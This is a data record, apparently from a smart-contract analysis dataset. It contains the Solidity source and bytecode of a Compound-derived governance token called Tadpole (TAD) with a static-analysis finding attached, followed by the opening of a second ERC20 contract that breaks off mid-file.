pragma solidity ^0.5.16; pragma experimental ABIEncoderV2; contract Tad { /// @notice EIP-20 token name for this token string public constant name = "Tadpole"; /// @notice EIP-20 token symbol for this token string public constant symbol = "TAD"; /// @notice EIP-20 token decimals for this token uint8 public constant decimals = 18; /// @notice Total number of tokens in circulation uint public totalSupply = 1000000e18; // 1 million TAD /// @notice Allowance amounts on behalf of others mapping (address => mapping (address => uint96)) internal allowances; /// @notice Official record of token balances for each account mapping (address => uint96) internal balances; /// @notice A record of each accounts delegate mapping (address => address) public delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint96 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /// @notice The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint256 amount); /// @notice The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint256 amount); /** * @notice Construct a new Comp token * @param account The initial account to grant all the tokens */ constructor(address account) public { balances[account] = uint96(totalSupply); emit Transfer(address(0), account, totalSupply); } /** * @notice Get the number of tokens `spender` is approved to spend on behalf of `account` * @param account The address of the account holding the funds * @param spender The address of the account spending the funds * @return The number of tokens approved */ function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param rawAmount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint rawAmount) external returns (bool) { uint96 amount; if (rawAmount == uint(-1)) { amount = uint96(-1); } else { amount = safe96(rawAmount, "Comp::approve: amount exceeds 96 bits"); } allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * @notice Get the number of tokens held by the `account` * @param account The address of the account to get the balance of * @return The number of tokens held */ function balanceOf(address account) external view returns (uint) { return balances[account]; } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint rawAmount) external returns (bool) { uint96 amount = safe96(rawAmount, "Comp::transfer: amount exceeds 96 bits"); _transferTokens(msg.sender, dst, amount); return true; } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint rawAmount) external returns (bool) { address spender = msg.sender; uint96 spenderAllowance = allowances[src][spender]; uint96 amount = safe96(rawAmount, "Comp::approve: amount exceeds 96 bits"); if (spender != src && spenderAllowance != uint96(-1)) { uint96 newAllowance = sub96(spenderAllowance, amount, "Comp::transferFrom: transfer amount exceeds spender allowance"); allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) public { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "Comp::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "Comp::delegateBySig: invalid nonce"); require(now <= expiry, "Comp::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint96) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) public view returns (uint96) { require(blockNumber < block.number, "Comp::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = delegates[delegator]; uint96 delegatorBalance = balances[delegator]; delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _transferTokens(address src, address dst, uint96 amount) internal { require(src != address(0), "Comp::_transferTokens: cannot transfer from the zero address"); //require(dst != address(0), "Comp::_transferTokens: cannot transfer to the zero address"); balances[src] = sub96(balances[src], amount, "Comp::_transferTokens: transfer amount exceeds balance"); if(dst != address(0)) balances[dst] = add96(balances[dst], amount, "Comp::_transferTokens: transfer amount overflows"); else totalSupply -= amount; emit Transfer(src, dst, amount); _moveDelegates(delegates[src], delegates[dst], amount); } function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint96 srcRepNew = sub96(srcRepOld, amount, "Comp::_moveVotes: vote amount underflows"); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint96 dstRepNew = add96(dstRepOld, amount, "Comp::_moveVotes: vote amount overflows"); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal { uint32 blockNumber = safe32(block.number, "Comp::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function safe96(uint n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, errorMessage); return c; } function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { require(b <= a, errorMessage); return a - b; } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } }
0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad578063b4b5ea5711610071578063b4b5ea5714610358578063c3cda52014610388578063dd62ed3e146103a4578063e7a324dc146103d4578063f1127ed8146103f257610121565b806370a082311461027a578063782d6fe1146102aa5780637ecebe00146102da57806395d89b411461030a578063a9059cbb1461032857610121565b806323b872dd116100f457806323b872dd146101b0578063313ce567146101e0578063587cde1e146101fe5780635c19a95c1461022e5780636fcfff451461024a57610121565b806306fdde0314610126578063095ea7b31461014457806318160ddd1461017457806320606b7014610192575b600080fd5b61012e610423565b60405161013b91906127e2565b60405180910390f35b61015e6004803603610159919081019061212f565b61045c565b60405161016b91906126dd565b60405180910390f35b61017c6105ef565b60405161018991906128c6565b60405180910390f35b61019a6105f5565b6040516101a791906126f8565b60405180910390f35b6101ca60048036036101c591908101906120e0565b61060c565b6040516101d791906126dd565b60405180910390f35b6101e86108a0565b6040516101f59190612925565b60405180910390f35b6102186004803603610213919081019061207b565b6108a5565b60405161022591906126c2565b60405180910390f35b6102486004803603610243919081019061207b565b6108d8565b005b610264600480360361025f919081019061207b565b6108e5565b60405161027191906128e1565b60405180910390f35b610294600480360361028f919081019061207b565b610908565b6040516102a191906128c6565b60405180910390f35b6102c460048036036102bf919081019061212f565b610977565b6040516102d1919061295b565b60405180910390f35b6102f460048036036102ef919081019061207b565b610d8a565b60405161030191906128c6565b60405180910390f35b610312610da2565b60405161031f91906127e2565b60405180910390f35b610342600480360361033d919081019061212f565b610ddb565b60405161034f91906126dd565b60405180910390f35b610372600480360361036d919081019061207b565b610e18565b60405161037f919061295b565b60405180910390f35b6103a2600480360361039d919081019061216b565b610f06565b005b6103be60048036036103b991908101906120a4565b6111a9565b6040516103cb91906128c6565b60405180910390f35b6103dc611256565b6040516103e991906126f8565b60405180910390f35b61040c600480360361040791908101906121f4565b61126d565b60405161041a9291906128fc565b60405180910390f35b6040518060400160405280600781526020017f546164706f6c650000000000000000000000000000000000000000000000000081525081565b6000807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8314156104af577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90506104d4565b6104d183604051806060016040528060258152602001612b62602591396112c6565b90505b80600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516105dc9190612940565b60405180910390a3600191505092915050565b60005481565b60405161060190612698565b604051809103902081565b6000803390506000600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16905060006106cf85604051806060016040528060258152602001612b62602591396112c6565b90508673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561074957507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6bffffffffffffffffffffffff16826bffffffffffffffffffffffff1614155b1561088757600061077383836040518060600160405280603d8152602001612c39603d9139611324565b905080600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161087d9190612940565b60405180910390a3505b610892878783611395565b600193505050509392505050565b601281565b60036020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6108e2338261175d565b50565b60056020528060005260406000206000915054906101000a900463ffffffff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff169050919050565b60004382106109bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b290612866565b60405180910390fd5b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff161415610a28576000915050610d84565b82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff1611610b2a57600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff16915050610d84565b82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff161115610bab576000915050610d84565b600080905060006001830390505b8163ffffffff168163ffffffff161115610d06576000600283830363ffffffff1681610be157fe5b0482039050610bee611fe4565b600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff1681526020016000820160049054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff166bffffffffffffffffffffffff1681525050905086816000015163ffffffff161415610cde57806020015195505050505050610d84565b86816000015163ffffffff161015610cf857819350610cff565b6001820392505b5050610bb9565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff1693505050505b92915050565b60066020528060005260406000206000915090505481565b6040518060400160405280600381526020017f544144000000000000000000000000000000000000000000000000000000000081525081565b600080610e0083604051806060016040528060268152602001612b87602691396112c6565b9050610e0d338583611395565b600191505092915050565b600080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff1611610e82576000610efe565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b915050919050565b6000604051610f1490612698565b60405180910390206040518060400160405280600781526020017f546164706f6c650000000000000000000000000000000000000000000000000081525080519060200120610f6161191d565b30604051602001610f759493929190612758565b6040516020818303038152906040528051906020012090506000604051610f9b906126ad565b6040518091039020888888604051602001610fb99493929190612713565b60405160208183030381529060405280519060200120905060008282604051602001610fe6929190612661565b604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051611023949392919061279d565b6020604051602081039080840390855afa158015611045573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156110c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b890612826565b60405180910390fd5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190600101919050558914611150576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114790612886565b60405180910390fd5b87421115611193576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118a90612846565b60405180910390fd5b61119d818b61175d565b50505050505050505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff16905092915050565b604051611262906126ad565b604051809103902081565b6004602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060000160049054906101000a90046bffffffffffffffffffffffff16905082565b60006c010000000000000000000000008310829061131a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113119190612804565b60405180910390fd5b5082905092915050565b6000836bffffffffffffffffffffffff16836bffffffffffffffffffffffff1611158290611388576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137f9190612804565b60405180910390fd5b5082840390509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611405576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113fc906128a6565b60405180910390fd5b61147f600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff1682604051806060016040528060368152602001612b2c60369139611324565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461160c5761159a600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff1682604051806060016040528060308152602001612c096030913961192a565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff16021790555061162a565b806bffffffffffffffffffffffff1660008082825403925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116879190612940565b60405180910390a3611758600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836119a0565b505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16905082600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a46119178284836119a0565b50505050565b6000804690508091505090565b6000808385019050846bffffffffffffffffffffffff16816bffffffffffffffffffffffff1610158390611994576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198b9190612804565b60405180910390fd5b50809150509392505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ea57506000816bffffffffffffffffffffffff16115b15611c9657600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611b42576000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611a8d576000611b09565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b90506000611b308285604051806060016040528060288152602001612be160289139611324565b9050611b3e86848484611c9b565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c95576000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611be0576000611c5c565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b90506000611c838285604051806060016040528060278152602001612c766027913961192a565b9050611c9185848484611c9b565b5050505b5b505050565b6000611cbf43604051806060016040528060348152602001612bad60349139611f8e565b905060008463ffffffff16118015611d5457508063ffffffff16600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b15611def5781600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff160217905550611f37565b60405180604001604052808263ffffffff168152602001836bffffffffffffffffffffffff16815250600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff16021790555060208201518160000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff16021790555090505060018401600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051611f7f929190612976565b60405180910390a25050505050565b600064010000000083108290611fda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fd19190612804565b60405180910390fd5b5082905092915050565b6040518060400160405280600063ffffffff16815260200160006bffffffffffffffffffffffff1681525090565b60008135905061202181612ab8565b92915050565b60008135905061203681612acf565b92915050565b60008135905061204b81612ae6565b92915050565b60008135905061206081612afd565b92915050565b60008135905061207581612b14565b92915050565b60006020828403121561208d57600080fd5b600061209b84828501612012565b91505092915050565b600080604083850312156120b757600080fd5b60006120c585828601612012565b92505060206120d685828601612012565b9150509250929050565b6000806000606084860312156120f557600080fd5b600061210386828701612012565b935050602061211486828701612012565b92505060406121258682870161203c565b9150509250925092565b6000806040838503121561214257600080fd5b600061215085828601612012565b92505060206121618582860161203c565b9150509250929050565b60008060008060008060c0878903121561218457600080fd5b600061219289828a01612012565b96505060206121a389828a0161203c565b95505060406121b489828a0161203c565b94505060606121c589828a01612066565b93505060806121d689828a01612027565b92505060a06121e789828a01612027565b9150509295509295509295565b6000806040838503121561220757600080fd5b600061221585828601612012565b925050602061222685828601612051565b9150509250929050565b612239816129d1565b82525050565b612248816129e3565b82525050565b612257816129ef565b82525050565b61226e612269826129ef565b612a9d565b82525050565b600061227f826129aa565b61228981856129b5565b9350612299818560208601612a6a565b6122a281612aa7565b840191505092915050565b60006122b88261299f565b6122c281856129b5565b93506122d2818560208601612a6a565b6122db81612aa7565b840191505092915050565b60006122f36026836129b5565b91507f436f6d703a3a64656c656761746542795369673a20696e76616c69642073696760008301527f6e617475726500000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006123596026836129b5565b91507f436f6d703a3a64656c656761746542795369673a207369676e6174757265206560008301527f78706972656400000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006123bf6002836129c6565b91507f19010000000000000000000000000000000000000000000000000000000000006000830152600282019050919050565b60006123ff6027836129b5565b91507f436f6d703a3a6765745072696f72566f7465733a206e6f74207965742064657460008301527f65726d696e6564000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006124656022836129b5565b91507f436f6d703a3a64656c656761746542795369673a20696e76616c6964206e6f6e60008301527f63650000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006124cb6043836129c6565b91507f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353660008301527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208301527f63742900000000000000000000000000000000000000000000000000000000006040830152604382019050919050565b6000612557603c836129b5565b91507f436f6d703a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747260008301527f616e736665722066726f6d20746865207a65726f2061646472657373000000006020830152604082019050919050565b60006125bd603a836129c6565b91507f44656c65676174696f6e28616464726573732064656c6567617465652c75696e60008301527f74323536206e6f6e63652c75696e7432353620657870697279290000000000006020830152603a82019050919050565b61261f81612a19565b82525050565b61262e81612a23565b82525050565b61263d81612a33565b82525050565b61264c81612a58565b82525050565b61265b81612a40565b82525050565b600061266c826123b2565b9150612678828561225d565b602082019150612688828461225d565b6020820191508190509392505050565b60006126a3826124be565b9150819050919050565b60006126b8826125b0565b9150819050919050565b60006020820190506126d76000830184612230565b92915050565b60006020820190506126f2600083018461223f565b92915050565b600060208201905061270d600083018461224e565b92915050565b6000608082019050612728600083018761224e565b6127356020830186612230565b6127426040830185612616565b61274f6060830184612616565b95945050505050565b600060808201905061276d600083018761224e565b61277a602083018661224e565b6127876040830185612616565b6127946060830184612230565b95945050505050565b60006080820190506127b2600083018761224e565b6127bf6020830186612634565b6127cc604083018561224e565b6127d9606083018461224e565b95945050505050565b600060208201905081810360008301526127fc81846122ad565b905092915050565b6000602082019050818103600083015261281e8184612274565b905092915050565b6000602082019050818103600083015261283f816122e6565b9050919050565b6000602082019050818103600083015261285f8161234c565b9050919050565b6000602082019050818103600083015261287f816123f2565b9050919050565b6000602082019050818103600083015261289f81612458565b9050919050565b600060208201905081810360008301526128bf8161254a565b9050919050565b60006020820190506128db6000830184612616565b92915050565b60006020820190506128f66000830184612625565b92915050565b60006040820190506129116000830185612625565b61291e6020830184612652565b9392505050565b600060208201905061293a6000830184612634565b92915050565b60006020820190506129556000830184612643565b92915050565b60006020820190506129706000830184612652565b92915050565b600060408201905061298b6000830185612643565b6129986020830184612643565b9392505050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b60006129dc826129f9565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600063ffffffff82169050919050565b600060ff82169050919050565b60006bffffffffffffffffffffffff82169050919050565b6000612a6382612a40565b9050919050565b60005b83811015612a88578082015181840152602081019050612a6d565b83811115612a97576000848401525b50505050565b6000819050919050565b6000601f19601f8301169050919050565b612ac1816129d1565b8114612acc57600080fd5b50565b612ad8816129ef565b8114612ae357600080fd5b50565b612aef81612a19565b8114612afa57600080fd5b50565b612b0681612a23565b8114612b1157600080fd5b50565b612b1d81612a33565b8114612b2857600080fd5b5056fe436f6d703a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e6365436f6d703a3a617070726f76653a20616d6f756e7420657863656564732039362062697473436f6d703a3a7472616e736665723a20616d6f756e7420657863656564732039362062697473436f6d703a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473436f6d703a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f7773436f6d703a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f7773436f6d703a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e6365436f6d703a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f7773a365627a7a7231582039e38f9ff733f85dea39999fcb995b2806247abcc9f28d01a69bd6bc735c52d06c6578706572696d656e74616cf564736f6c63430005110040
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
9,580
0x6A831Cfeb73cfec94513F73fe759071E803B60E0
pragma solidity ^0.4.13; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 